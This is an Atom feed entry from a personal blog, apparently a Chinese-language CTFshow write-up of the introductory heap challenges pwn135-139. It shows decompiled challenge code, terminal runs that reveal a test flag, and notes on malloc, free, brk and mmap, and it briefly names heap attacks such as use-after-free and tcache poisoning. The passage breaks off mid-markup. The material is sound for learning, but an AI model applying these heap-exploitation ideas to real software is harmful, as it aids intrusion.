<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Rhea&#39;s Blog</title>
  
  
  <link href="https://rhea006.github.io/atom.xml" rel="self"/>
  
  <link href="https://rhea006.github.io/"/>
  <updated>2025-08-31T03:55:45.735Z</updated>
  <id>https://rhea006.github.io/</id>
  
  <author>
    <name>Rhea</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>pwn135-159【停更先，堆好难，打打新生赛去了，学一下re】</title>
    <link href="https://rhea006.github.io/2025/09/b0c73cf30429.html"/>
    <id>https://rhea006.github.io/2025/09/b0c73cf30429.html</id>
    <published>2025-09-17T04:00:00.000Z</published>
    <updated>2025-08-31T03:55:45.735Z</updated>
    
    <content type="html"><![CDATA[<h2 id="pwn135"><a href="#pwn135" class="headerlink" title="pwn135"></a>pwn135</h2><p>Hint:为防止题目难度跨度太大，135-140为演示题目阶段，你可以轻松获取flag,但是希望你能一步步去调试，而不是仅仅去拿到flag。 如何申请堆？</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  menu();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进menu：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">menu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Choose a function to allocate heap memory:&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1. malloc&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2. calloc&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3. realloc&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Enter your choice: &quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n4; <span class="comment">// [rsp+4h] [rbp-1Ch] BYREF</span></span><br><span class="line">  <span class="type">size_t</span> size; <span class="comment">// [rsp+8h] [rbp-18h] BYREF</span></span><br><span class="line">  <span class="type">void</span> *ptr; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v4; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  ptr = <span class="number">0</span>;</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n4);</span><br><span class="line">  <span class="keyword">if</span> ( n4 == <span class="number">2</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Enter the size to allocate using calloc: &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%lu&quot;</span>, &amp;size);</span><br><span class="line">    ptr = <span class="built_in">calloc</span>(<span class="number">1u</span>, size);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( n4 &gt; <span class="number">2</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( n4 != <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( n4 == <span class="number">4</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Here is you want: &quot;</span>);</span><br><span class="line">        system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">goto</span> LABEL_12;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Enter the size to allocate using realloc: &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%lu&quot;</span>, &amp;size);</span><br><span class="line">    ptr = <span class="built_in">realloc</span>(ptr, size);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( n4 != <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">LABEL_12:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Invalid choice.&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v4;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Enter the size to allocate using malloc: &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%lu&quot;</span>, &amp;size);</span><br><span class="line">    ptr = <span class="built_in">malloc</span>(size);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( ptr )</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Memory allocated at address: %p\n&quot;</span>, ptr);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Memory allocation failed.&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>直接输4就好了</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Heap_Exploitation</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Learn how to allocate heap !</span><br><span class="line">    * *************************************</span><br><span class="line">Choose a <span class="keyword">function</span> to allocate heap memory:</span><br><span class="line">1. malloc</span><br><span class="line">2. calloc</span><br><span class="line">3. realloc</span><br><span class="line">Enter your choice: 4</span><br><span class="line">Here is you want: flag&#123;just_test_my_process&#125;</span><br><span class="line">Invalid choice.</span><br></pre></td></tr></table></figure><p><strong>malloc函数：</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">void* malloc(size_t size);</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：从堆内存中分配指定大小的内存块</p><p><strong>参数</strong>：<code>size</code> 是需要分配的字节数</p><p><strong>返回值</strong>：</p><ul><li><p>成功：指向已分配内存块的指针</p></li><li><p>失败：返回 <code>NULL</code></p></li></ul><p><strong>特点</strong>：</p><ol><li><p>内存不初始化，内容为脏数据</p></li><li><p>分配的内存块在堆上，需用 <code>free</code> 释放</p></li><li><p>内存块有额外开销（chunk header）</p></li></ol><p><strong>calloc函数:</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span>* <span class="title function_">calloc</span><span class="params">(<span class="type">size_t</span> num, <span class="type">size_t</span> size)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：分配并初始化内存块(每个字节都会初始化为0)</p><p><strong>参数</strong>：</p><ul><li><code>num</code>：需要分配的元素个数</li><li><code>size</code>：每个元素的字节大小</li></ul><p><strong>返回值</strong>：</p><ul><li>成功：指向零初始化内存的指针</li><li>失败：返回 <code>NULL</code></li></ul><p><strong>特点</strong>：</p><ol><li><p>结果相当于 <code>malloc(num * size)</code> + <code>memset(0)</code></p></li><li><p>会检查 <code>num * size</code> 是否溢出，防止分配错误</p></li><li><p>常用于数组初始化</p></li></ol><p><strong>realloc函数:</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span>* <span class="title function_">realloc</span><span class="params">(<span class="type">void</span>* ptr, <span class="type">size_t</span> new_size)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：重新调整已分配内存的大小</p><p><strong>参数</strong>：</p><ul><li><code>ptr</code>：指向已分配内存的指针<ul><li>如果传入 <code>NULL</code>，等价于 <code>malloc(new_size)</code></li></ul></li><li><code>new_size</code>：重新分配的字节数</li></ul><p><strong>返回值</strong>：</p><ul><li><p>成功：返回调整后的指针（可能是新地址）</p></li><li><p>失败：返回 <code>NULL</code>，原指针仍然有效</p></li></ul><p><strong>特点</strong>：</p><ol><li><p>新大小大于原块：可能迁移数据到新位置</p></li><li><p>新大小小于原块：可能释放多余部分</p></li><li><p><code>new_size == 0</code>：等价于 <code>free(ptr)</code>，返回 <code>NULL</code></p></li></ol><h2 id="pwn136"><a href="#pwn136" class="headerlink" title="pwn136"></a>pwn136</h2><h6 id="Hint-如何释放堆？"><a href="#Hint-如何释放堆？" class="headerlink" title="Hint:如何释放堆？"></a>Hint:如何释放堆？</h6><p>和上题一样看free函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n2; <span class="comment">// [rsp+Ch] [rbp-24h] BYREF</span></span><br><span class="line">  <span class="type">void</span> *ptr; <span class="comment">// [rsp+10h] [rbp-20h]</span></span><br><span class="line">  <span class="type">void</span> *ptr_1; <span class="comment">// [rsp+18h] [rbp-18h]</span></span><br><span class="line">  <span class="type">void</span> *ptr_2; <span class="comment">// [rsp+20h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  ptr_1 = <span class="number">0</span>;</span><br><span class="line">  ptr_2 = <span class="number">0</span>;</span><br><span class="line">  ptr = <span class="built_in">malloc</span>(<span class="number">4u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( ptr )</span><br><span class="line">  &#123;</span><br><span class="line">    ptr_1 = <span class="built_in">calloc</span>(<span class="number">1u</span>, <span class="number">4u</span>);</span><br><span class="line">    <span class="keyword">if</span> ( ptr_1 )</span><br><span class="line">    &#123;</span><br><span class="line">      ptr_2 = <span class="built_in">realloc</span>(<span class="number">0</span>, <span class="number">4u</span>);</span><br><span class="line">      <span class="keyword">if</span> ( ptr_2 )</span><br><span class="line">      &#123;</span><br><span class="line">        __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n2);</span><br><span class="line">        <span class="keyword">if</span> ( n2 == <span class="number">2</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">free</span>(ptr_1);</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;ptr_calloc freed.&quot;</span>);</span><br><span class="line">          <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> ( n2 &gt; <span class="number">2</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> ( n2 == <span class="number">3</span> )</span><br><span class="line">          &#123;</span><br><span class="line">            <span class="built_in">free</span>(ptr_2);</span><br><span class="line">            <span class="built_in">puts</span>(<span class="string">&quot;ptr_realloc freed.&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">if</span> ( n2 == <span class="number">4</span> )</span><br><span class="line">          &#123;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;Here is you want: &quot;</span>);</span><br><span class="line">            system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> ( n2 == <span class="number">1</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">free</span>(ptr);</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;ptr_malloc freed.&quot;</span>);</span><br><span class="line">          <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Invalid choice.&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Memory allocation failed for ptr_realloc.&quot;</span>);</span><br><span class="line">      <span class="built_in">free</span>(ptr);</span><br><span class="line">      <span class="built_in">free</span>(ptr_1);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Memory allocation failed for ptr_calloc.&quot;</span>);</span><br><span class="line">      <span class="built_in">free</span>(ptr);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Memory allocation failed for ptr_malloc.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>free函数：</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">void free(void *ptr);</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：释放由 <code>malloc</code>、<code>calloc</code>、<code>realloc</code> 分配的堆内存，把这块内存归还给堆管理器（glibc 的 ptmalloc）</p><p><strong>参数</strong>：</p><ul><li><code>ptr</code>：需要释放的堆内存指针<ul><li>如果是 <code>NULL</code>，什么都不会发生（安全）</li></ul></li></ul><p><strong>特点</strong>：</p><ol><li><p><strong>释放后指针悬空</strong>：</p><ul><li><p><code>free</code> 只释放内存，不会把传入的指针置为 <code>NULL</code>。</p></li><li><p>建议写法：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="built_in">free</span>(p);</span><br><span class="line">p = <span class="literal">NULL</span>;   <span class="comment">// 防止悬空指针</span></span><br></pre></td></tr></table></figure></li></ul></li><li><p><strong>重复释放（Double Free）是未定义行为</strong>：</p><ul><li><code>free</code> 同一个指针两次可能导致程序崩溃，甚至被利用（典型 PWN 漏洞）。</li></ul></li><li><p><strong>释放未分配指针 &#x2F; 非堆指针是错误的</strong>：</p><ul><li>例如释放栈上的指针、静态区指针，会触发崩溃。</li></ul></li><li><p><strong>与 <code>realloc</code> 的关系</strong>：</p><ul><li><code>realloc(ptr, 0)</code> 的效果与 <code>free(ptr)</code> 相同。</li></ul></li></ol><p><strong>在 glibc 堆管理中的意义</strong>:</p><ul><li><code>free</code> 不会立刻交还给操作系统（除非是大块通过 <code>mmap</code> 分配的内存）</li><li>它会把 chunk 放入 <strong>tcache &#x2F; fastbin &#x2F; unsorted bin &#x2F; large bin</strong> 等链表中，等待下次 <code>malloc</code> 重用</li><li>这一点在 <strong>PWN 利用</strong> 中非常关键：<ul><li><strong>UAF（Use-After-Free）</strong>：释放后继续用</li><li><strong>Double Free</strong>：利用重复释放破坏链表结构</li><li><strong>Fastbin Attack &#x2F; Tcache Poisoning</strong>：伪造下一个分配地址，劫持程序执行流</li></ul></li></ul><h2 id="pwn137"><a href="#pwn137" class="headerlink" title="pwn137"></a>pwn137</h2><h6 id="Hint-sbrk-and-brk-example"><a href="#Hint-sbrk-and-brk-example" class="headerlink" title="Hint:sbrk and brk example"></a>Hint:sbrk and brk example</h6><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  sbrk_brk();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进sbrk_brk:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sbrk_brk</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">__pid_t</span> pid; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">void</span> *v1; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">char</span> *addr; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line">  <span class="type">void</span> *v4; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  pid = getpid();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;sbrk example:%d\n&quot;</span>, pid);</span><br><span class="line">  addr = (<span class="type">char</span> *)sbrk(<span class="number">0</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Program Break Location1:%p\n&quot;</span>, addr);</span><br><span class="line">  getchar();</span><br><span class="line">  brk(addr + <span class="number">4096</span>);</span><br><span class="line">  v1 = sbrk(<span class="number">0</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Program Break Location2:%p\n&quot;</span>, v1);</span><br><span class="line">  getchar();</span><br><span class="line">  brk(addr);</span><br><span class="line">  v4 = sbrk(<span class="number">0</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Program Break Location3:%p\n&quot;</span>, v4);</span><br><span class="line">  getchar();</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入两次即可获得flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Heap_Exploitation</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : sbrk and brk example !</span><br><span class="line">    * *************************************</span><br><span class="line">sbrk example:36</span><br><span class="line">Program Break Location1:0x6263b987f000</span><br><span class="line">a</span><br><span class="line">Program Break Location2:0x6263b9880000</span><br><span class="line">Program Break Location3:0x6263b987f000</span><br><span class="line">a</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><p><strong>getpid():</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">pid_t</span> <span class="title function_">getpid</span><span class="params">(<span class="type">void</span>)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：获取当前进程的PID</p><p><strong>返回值</strong>：</p><p><strong>返回值</strong>:</p><ul><li>成功：返回调用进程的 PID（通常是一个整数）[数据类型为 <code>pid_t</code>（通常是一个整数类型）]</li><li>失败：不会失败</li></ul><p><strong>特点</strong>:</p><ul><li>常用于调试、日志、信号处理等</li><li>如果一个进程 fork 出子进程，子进程有新的 PID</li></ul><p><strong>sbrk()函数:</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">sbrk</span><span class="params">(<span class="type">intptr_t</span> increment)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：</p><ul><li><p>获取或调整当前进程的 <strong>数据段（堆）的末尾地址</strong>（program break）</p></li><li><p><code>increment</code> 表示要增加或减少的字节数</p></li></ul><p><strong>参数</strong>:</p><ul><li><code>increment</code>：<ul><li><code>0</code>：返回当前堆顶地址</li><li><code>正数</code>：扩展堆，返回原堆顶</li><li><code>负数</code>：收缩堆，返回原堆顶</li></ul></li></ul><p><strong>返回值</strong>:</p><ul><li>成功：返回调用前的堆顶地址(当前堆的末尾)</li><li>失败：返回 <code>(void*) -1</code>，并设置 <code>errno</code></li></ul><p><strong>brk函数:</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">int brk(void *end_data_segment);</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：设置进程的数据段（堆）的末尾地址</p><p><strong>参数</strong>:</p><ul><li><code>end_data_segment</code>：新的堆顶地址</li></ul><p><strong>返回值</strong></p><ul><li>成功：返回 <code>0</code></li><li>失败：返回 <code>-1</code> 并设置 <code>errno</code></li></ul><p><strong>特点</strong></p><ul><li>直接把堆顶设置到某个位置（比 <code>sbrk</code> 更直接）</li><li>一般 <code>malloc</code> 内部会用 <code>brk</code> 来向操作系统申请或收缩堆</li></ul><h2 id="pwn138"><a href="#pwn138" class="headerlink" title="pwn138"></a>pwn138</h2><h6 id="Hint-Private-anonymous-mapping-example"><a href="#Hint-Private-anonymous-mapping-example" class="headerlink" title="Hint:Private anonymous mapping example"></a>Hint:Private anonymous mapping example</h6><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// local variable allocation has failed, the output may be wrong!</span></span><br><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">__pid_t</span> pid; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">void</span> *addr; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  init(*(_QWORD *)&amp;argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  pid = getpid();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome to private anonymous mapping example::PID:%d\n&quot;</span>, pid);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Before mmap&quot;</span>);</span><br><span class="line">  getchar();</span><br><span class="line">  addr = mmap(<span class="number">0</span>, <span class="number">0x21000u</span>, <span class="number">3</span>, <span class="number">34</span>, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( addr == (<span class="type">void</span> *)<span class="number">-1LL</span> )</span><br><span class="line">    errExit(<span class="string">&quot;mmap&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;After mmap&quot;</span>);</span><br><span class="line">  getchar();</span><br><span class="line">  <span class="keyword">if</span> ( munmap(addr, <span class="number">0x21000u</span>) == <span class="number">-1</span> )</span><br><span class="line">    errExit(<span class="string">&quot;munmap&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;After munmap&quot;</span>);</span><br><span class="line">  getchar();</span><br><span class="line">  system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入两次即可拿到flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Heap_Exploitation</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Private anonymous mapping example using mmap syscall !</span><br><span class="line">    * *************************************</span><br><span class="line">Welcome to private anonymous mapping example::PID:42</span><br><span class="line">Before mmap</span><br><span class="line">a</span><br><span class="line">After mmap</span><br><span class="line">After munmap</span><br><span class="line">a</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><p><strong>mmap 函数：</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">mmap</span><span class="params">(<span class="type">void</span> *addr, <span class="type">size_t</span> length, <span class="type">int</span> prot, <span class="type">int</span> flags, <span class="type">int</span> fd, <span class="type">off_t</span> offset)</span>;</span><br></pre></td></tr></table></figure><p><strong>作用</strong>：<code>mmap()</code> 是一个 Linux 系统调用，用于在进程的虚拟地址空间中映射一段内存区域。映射区域可以来自文件，也可以是匿名内存（不依赖文件，直接向内核申请内存）。在现代 <code>malloc</code> 实现中，大块内存通常通过 <code>mmap</code> 分配</p><p><strong>参数</strong>：</p><ol><li><strong>addr</strong><ul><li>建议映射的起始地址，通常传 <code>NULL</code>，让内核自动选择。</li></ul></li><li><strong>length</strong><ul><li>映射区域的大小（字节数，向上取整到页大小）。</li></ul></li><li><strong>prot</strong><ul><li>保护权限（类似 <code>mprotect</code>）：<ul><li><code>PROT_READ</code>   → 可读</li><li><code>PROT_WRITE</code>  → 可写</li><li><code>PROT_EXEC</code>   → 可执行</li><li><code>PROT_NONE</code>   → 不可访问</li></ul></li></ul></li><li><strong>flags</strong><ul><li>控制映射的方式：<ul><li><code>MAP_PRIVATE</code> → 私有映射（写时复制，修改不影响文件）</li><li><code>MAP_SHARED</code>  → 共享映射（修改会同步到文件）</li><li><code>MAP_ANONYMOUS</code> → 匿名映射（不关联文件，只是分配内存）</li><li><code>MAP_FIXED</code>   → 强制使用指定的地址（危险）</li></ul></li></ul></li><li><strong>fd</strong><ul><li>文件描述符，若是匿名映射则必须为 <code>-1</code>。</li></ul></li><li><strong>offset</strong><ul><li>映射文件的起始偏移量，必须是页大小的整数倍。</li></ul></li></ol><p><strong>返回值</strong>：</p><ul><li>成功：返回指向映射区域的指针</li><li>失败：返回 <code>(void*) -1</code>，并设置 <code>errno</code></li></ul><h2 id="pwn139"><a href="#pwn139" class="headerlink" title="pwn139"></a>pwn139</h2><h6 id="Hint-多线程支持"><a href="#Hint-多线程支持" class="headerlink" title="Hint:多线程支持"></a>Hint:多线程支持</h6><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  flag_demo();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">flag_demo</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 size_1; <span class="comment">// [rsp+0h] [rbp-20h]</span></span><br><span class="line">  FILE *stream; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  __int64 size; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  <span class="type">char</span> *ptr; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( stream )</span><br><span class="line">  &#123;</span><br><span class="line">    fseek(stream, <span class="number">0</span>, <span class="number">2</span>);</span><br><span class="line">    size = ftell(stream);</span><br><span class="line">    fseek(stream, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Allocate heap memory:&quot;</span>);</span><br><span class="line">    sleep(<span class="number">3u</span>);</span><br><span class="line">    ptr = (<span class="type">char</span> *)<span class="built_in">malloc</span>(size);</span><br><span class="line">    <span class="keyword">if</span> ( ptr )</span><br><span class="line">    &#123;</span><br><span class="line">      sleep(<span class="number">1u</span>);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Read ctfshow_flag&quot;</span>);</span><br><span class="line">      sleep(<span class="number">3u</span>);</span><br><span class="line">      <span class="keyword">if</span> ( fread(ptr, <span class="number">1u</span>, size, stream) == size )</span><br><span class="line">      &#123;</span><br><span class="line">        fclose(stream);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Here is your flag:&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> ( size_1 = <span class="number">0</span>; size_1 &lt; size; ++size_1 )</span><br><span class="line">          <span class="built_in">putchar</span>(ptr[size_1]);</span><br><span class="line">        sleep(<span class="number">1u</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;free&quot;</span>);</span><br><span class="line">        <span class="built_in">free</span>(ptr);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        perror(<span class="string">&quot;Failed to read file&quot;</span>);</span><br><span class="line">        fclose(stream);</span><br><span class="line">        <span class="built_in">free</span>(ptr);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      perror(<span class="string">&quot;Memory allocation failed&quot;</span>);</span><br><span class="line">      fclose(stream);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    perror(<span class="string">&quot;Failed to open file&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>直接运行就可</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Heap_Exploitation</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Read flag demo !</span><br><span class="line">    * *************************************</span><br><span class="line">Allocate heap memory:</span><br><span class="line">Read ctfshow_flag</span><br><span 